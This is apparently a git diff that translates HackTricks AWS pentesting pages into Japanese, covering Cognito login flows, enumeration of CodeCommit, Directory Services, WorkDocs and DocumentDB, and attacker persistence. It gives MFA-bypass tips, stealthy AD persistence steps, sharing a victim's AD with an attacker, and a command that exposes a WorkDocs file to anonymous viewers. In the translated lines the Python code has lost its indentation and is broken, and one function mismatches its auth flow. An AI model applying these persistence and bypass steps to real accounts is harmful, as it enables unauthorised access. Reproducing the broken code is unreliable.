authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**IDトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): 認証されたユーザーの**アイデンティティに関するクレーム**（`name`、`email`、`phone_number`など）が含まれています。IDトークンは、**リソースサーバーやサーバーアプリケーションにユーザーを認証するため**にも使用できます。外部アプリケーションで使用する場合、IDトークン内のクレームを信頼する前に、IDトークンの**署名を検証**する必要があります。 +- IDトークンは、**ユーザーの属性値**（カスタム属性を含む）を**含むトークン**です。 +- [**アクセストークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): 認証されたユーザーに関するクレーム、**ユーザーのグループのリスト**、および**スコープのリスト**が含まれています。アクセストークンの目的は、ユーザープール内のユーザーのコンテキストで**API操作を認可すること**です。たとえば、アクセストークンを使用して、ユーザー属性の追加、変更、または削除を**許可する**ことができます。 +- [**リフレッシュトークン**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): リフレッシュトークンを使用すると、**リフレッシュトークンが無効になるまで**ユーザーの新しいIDトークンとアクセストークンを**取得できます**。デフォルトでは、リフレッシュトークンは、アプリケーションユーザーがユーザープールにサインインしてから**30日後に期限切れ**になります。ユーザープール用のアプリケーションを作成する際、アプリケーションのリフレッシュトークンの有効期限を**60分から10年の間の任意の値**に設定できます。 ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +これはサーバー側の認証フローです： -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- サーバー側のアプリが**`AdminInitiateAuth` API操作**を呼び出します（`InitiateAuth`の代わりに）。この操作には、**`cognito-idp:AdminInitiateAuth`**および**`cognito-idp:AdminRespondToAuthChallenge`**を含む権限を持つAWS資格情報が必要です。この操作は、必要な認証パラメータを返します。 +- サーバー側のアプリが**認証パラメータ**を取得した後、**`AdminRespondToAuthChallenge` API操作**を呼び出します。`AdminRespondToAuthChallenge` API操作は、AWS資格情報を提供した場合にのみ成功します。 -This **method is NOT enabled** by default. +この**方法はデフォルトでは有効になっていません**。 -To **login** you **need** to know: +**ログイン**するには、次の情報が必要です： -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- ユーザープールID +- クライアントID +- ユーザー名 +- パスワード +- クライアントシークレット（アプリがシークレットを使用するように構成されている場合のみ） > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> この方法で**ログインできるようにするためには**、そのアプリケーションが`ALLOW_ADMIN_USER_PASSWORD_AUTH`でのログインを許可している必要があります。\ +> さらに、このアクションを実行するには、**`cognito-idp:AdminInitiateAuth`**および**`cognito-idp:AdminRespondToAuthChallenge`**の権限を持つ資格情報が必要です。 ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +ログイン用コード ```python import boto3 import botocore @@ -249,61 +215,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +このメソッドは、別のシンプルで**従来のユーザーとパスワード認証**フローです。**従来の**認証方法を**Cognito**に**移行する**ことが推奨されており、その後**無効にして**、代わりに**ALLOW_USER_SRP_AUTH**メソッドを**使用する**ことが推奨されています（このメソッドはパスワードをネットワーク上に送信しません）。\ +この**メソッドはデフォルトでは有効になっていません**。 -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +コード内の**前の認証方法**との主な**違い**は、**ユーザープールIDを知る必要がない**ことと、Cognitoユーザープールで**追加の権限が必要ない**ことです。 -To **login** you **need** to know: +**ログインするためには**、以下を知っている必要があります： -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- クライアントID +- ユーザー名 +- パスワード +- クライアントシークレット（アプリがシークレットを使用するように設定されている場合のみ） > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> このメソッドで**ログインできるようにするためには**、そのアプリケーションがALLOW_USER_PASSWORD_AUTHでのログインを許可している必要があります。 ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +ログインするためのPythonコード ```python import boto3 import botocore @@ -321,48 +283,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +このシナリオは前のものと似ていますが、**パスワードを送信する代わりに**、**チャレンジ認証が行われます**（したがって、パスワードはネットワークを通じて暗号化されても移動しません）。\ +この**方法はデフォルトで有効**です。 -To **login** you **need** to know: +**ログインするには**、次の情報を知っている必要があります： -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- ユーザープールID +- クライアントID +- ユーザー名 +- パスワード +- クライアントシークレット（アプリがシークレットを使用するように構成されている場合のみ）
-Code to login - +ログイン用のコード ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +335,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +この**メソッドは常に有効です**（無効にすることはできません）が、有効なリフレッシュトークンを持っている必要があります。 ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +リフレッシュ用のコード ```python import boto3 import botocore @@ -414,83 +370,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +この場合、**認証**は**ラムダ関数の実行**を通じて行われます。 -## Extra Security +## 追加のセキュリティ -### Advanced Security +### 高度なセキュリティ -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +デフォルトでは無効ですが、有効にするとCognitoは**アカウント乗っ取りを検出**できる可能性があります。確率を最小限に抑えるためには、**同じ都市内のネットワークから、同じユーザーエージェントを使用して**（可能であればIPも）ログインするべきです。 -### **MFA Remember device** +### **MFAデバイスの記憶** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +ユーザーが同じデバイスからログインすると、MFAがバイパスされる可能性があるため、同じメタデータ（IP？）を使用して同じブラウザからログインしてMFA保護をバイパスしようとしてください。 -## User Pool Groups IAM Roles +## ユーザープールグループのIAMロール -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +**ユーザーをユーザープール**グループに追加することができ、そのグループは1つの**IAMロール**に関連しています。\ +さらに、**ユーザー**は異なるIAMロールが付与された**複数のグループに割り当てることができます**。 -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +グループがIAMロールが付与されたグループ内にあっても、そのグループのIAM資格情報にアクセスするためには、**ユーザープールがアイデンティティプールによって信頼されている必要があります**（そのアイデンティティプールの詳細を知っている必要があります）。 -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +ユーザーがユーザープールで認証されるときに**IdTokenに示されたIAMロール**を取得するためのもう1つの要件は、**アイデンティティプロバイダー認証プロバイダー**が**トークンからロールを選択する必要がある**ことを示す必要があります。
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +ユーザーがアクセスできる**ロール**は**`IdToken`内にあり、ユーザーは**`aws cognito-identity get-credentials-for-identity`**の**`--custom-role-arn`**を使用して、どのロールの資格情報を希望するかを**選択できます**。\ +ただし、**デフォルトオプション**が**設定されたもの**（`デフォルトロールを使用`）であり、IdTokenからロールにアクセスしようとすると、**エラー**が発生します（そのため、前の設定が必要です）： ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> **ユーザープールグループ**に割り当てられたロールは、**ユーザープールを信頼するアイデンティティプロバイダーによってアクセス可能である必要があります**（IAMロールの**セッション資格情報はそこから取得されるため**）。 ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..164be2fba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipelineは、データの**アクセス、変換、および効率的な転送**を大規模に促進するように設計されています。以下の操作を実行できます： -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **データが保存されている場所にアクセス**: 様々なAWSサービスに保存されているデータにシームレスにアクセスできます。 +2. **大規模での変換と処理**: 大規模なデータ処理と変換タスクが効率的に処理されます。 +3. **結果を効率的に転送**: 処理されたデータは、以下の複数のAWSサービスに効率的に転送できます： +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +本質的に、AWS Data Pipelineは、指定された間隔で異なるAWSコンピューティングおよびストレージサービス、ならびにオンプレミスのデータソース間でのデータの移動と処理を合理化します。 ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +次のページでは、**datapipelineの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipelineは、**継続的デリバリーサービス**を完全に管理されたもので、**リリースパイプラインを自動化**し、迅速かつ信頼性の高いアプリケーションおよびインフラストラクチャの更新を支援します。CodePipelineは、定義したリリースモデルに基づいて、コード変更があるたびにリリースプロセスの**ビルド、テスト、デプロイフェーズ**を自動化します。 ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +次のページでは、**codepipelineの権限を悪用して特権を昇格させる方法**を確認できます： {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +これは、Amazonによってホストされ完全に管理されている**バージョン管理サービス**であり、データ（文書、バイナリファイル、ソースコード）をプライベートに保存し、クラウドで管理するために使用できます。 -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +これにより、ユーザーがGitを知っている必要がなく、**自分のソース管理システムを管理する**ことや、インフラをスケールアップまたはダウンすることを心配する必要がなくなります。Codecommitは、Gitに見られるすべての標準的な**機能をサポート**しており、ユーザーの現在のGitベースのツールと問題なく連携します。 ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## 参考文献 - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..63b4a5dd0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでディレクトリを**設定、運用、スケール**するのを簡単にするマネージドサービスです。これは実際の**Microsoft Active Directory**に基づいており、他のAWSサービスと密接に統合されているため、ディレクトリ対応のワークロードとAWSリソースを簡単に管理できます。AWS Managed Microsoft ADを使用すると、既存のActive Directoryユーザー、グループ、およびポリシーを使用してAWSリソースへのアクセスを管理できます。これにより、アイデンティティ管理が簡素化され、追加のアイデンティティソリューションの必要性が減少します。AWS Managed Microsoft ADは、自動バックアップと災害復旧機能も提供し、ディレクトリの可用性と耐久性を確保します。全体として、AWS Directory Service for Microsoft Active Directoryは、AWS Cloudでマネージドで高可用性かつスケーラブルなActive Directoryサービスを提供することで、時間とリソースを節約するのに役立ちます。 ### Options -Directory Services allows to create 5 types of directories: +Directory Servicesでは、5種類のディレクトリを作成できます： -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: 新しい**Microsoft ADをAWSで実行**します。管理者パスワードを設定し、VPC内のDCにアクセスできます。 +- **Simple AD**: **Linux-Samba** Active Directory互換サーバーです。管理者パスワードを設定し、VPC内のDCにアクセスできます。 +- **AD Connector**: **既存のMicrosoft Active Directoryへのディレクトリリクエストをリダイレクトするためのプロキシ**で、クラウドに情報をキャッシュしません。**VPC**内でリスニングし、**既存のADにアクセスするための資格情報を提供する必要があります**。 +- **Amazon Cognito User Pools**: これはCognito User Poolsと同じです。 +- **Cloud Directory**: これは**最もシンプル**なものです。**サーバーレス**ディレクトリで、使用する**スキーマ**を指定し、**使用量に応じて請求されます**。 -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +AWS Directory servicesは、既存の**オンプレミス** Microsoft ADと**同期**したり、AWSで独自のものを**実行**したり、**他のディレクトリタイプ**と同期したりすることができます。 ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +ここでは、AWSで独自のMicrosoft ADを作成するための素晴らしいチュートリアルを見つけることができます: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` +### ログイン -### Login - -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +ディレクトリの**説明**に**`AccessUrl`**フィールドに**ドメイン**が含まれている場合、それは**ユーザー**がいくつかの**AWSサービス**で**AD資格情報**を使用して**ログイン**できる可能性があるためです： - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -47,40 +45,39 @@ Note that if the **description** of the directory contained a **domain** in the - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## 永続性 -### Using an AD user +### ADユーザーを使用する -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +**ADユーザー**は、引き受けるロールを介して**AWS管理コンソールへのアクセス**を与えられることがあります。**デフォルトのユーザー名はAdmin**で、AWSコンソールから**パスワードを変更**することが可能です。 -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +したがって、**Adminのパスワードを変更**したり、**新しいユーザーを作成**したり、**ユーザーのパスワードを変更**して、そのユーザーにロールを付与してアクセスを維持することが可能です。\ +また、**AD内のグループにユーザーを追加**し、その**ADグループにロールへのアクセスを与える**ことも可能です（この永続性をよりステルスにするために）。 -### Sharing AD (from victim to attacker) +### ADの共有（被害者から攻撃者へ） -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +被害者から攻撃者にAD環境を共有することが可能です。この方法で、攻撃者はAD環境へのアクセスを継続できるようになります。\ +ただし、これは管理されたADを共有し、VPCピアリング接続を作成することを意味します。 -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +ガイドはこちらで見つけることができます: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~ADの共有（攻撃者から被害者へ）~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +異なるAD環境のユーザーにAWSアクセスを付与することは、1つのAWSアカウントに対しては不可能なようです。 ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocsは、クラウドベースの**ファイルストレージおよび共有サービス**です。これはAWSのクラウドコンピューティングサービスの一部であり、組織がファイルや文書を安全に保存、共有、共同作業するためのスケーラブルなソリューションを提供するように設計されています。 -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. - -### Enumeration +AWS WorkDocsは、ユーザーがファイルや文書をアップロード、アクセス、管理するためのウェブベースのインターフェースを提供します。また、バージョン管理、リアルタイムコラボレーション、他のAWSサービスやサードパーティツールとの統合などの機能も提供しています。 +### 列挙 ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,15 +106,10 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - -### Privesc +### プライベートエスカレーション {{#ref}} ../aws-privilege-escalation/aws-workdocs-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..f06385d6d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDBは、MongoDBとの互換性を提供し、**高速で信頼性が高く、完全に管理されたデータベースサービス**として提供されています。展開、運用、スケーラビリティの簡素化を目的として設計されており、**MongoDB互換のデータベースをクラウドでシームレスに移行および運用する**ことができます。ユーザーはこのサービスを利用して、既存のアプリケーションコードを実行し、馴染みのあるドライバーやツールを活用することで、MongoDBを使用しているかのようにスムーズな移行と運用を実現できます。 ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` +### NoSQLインジェクション -### NoSQL Injection - -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +DocumentDBはMongoDB互換のデータベースであるため、一般的なNoSQLインジェクション攻撃に対しても脆弱であると考えられます： {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -35,12 +33,8 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ../aws-unauthenticated-enum-access/aws-documentdb-enum.md {{#endref}} -## References +## 参考文献 - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..331c168e0 100644 --- 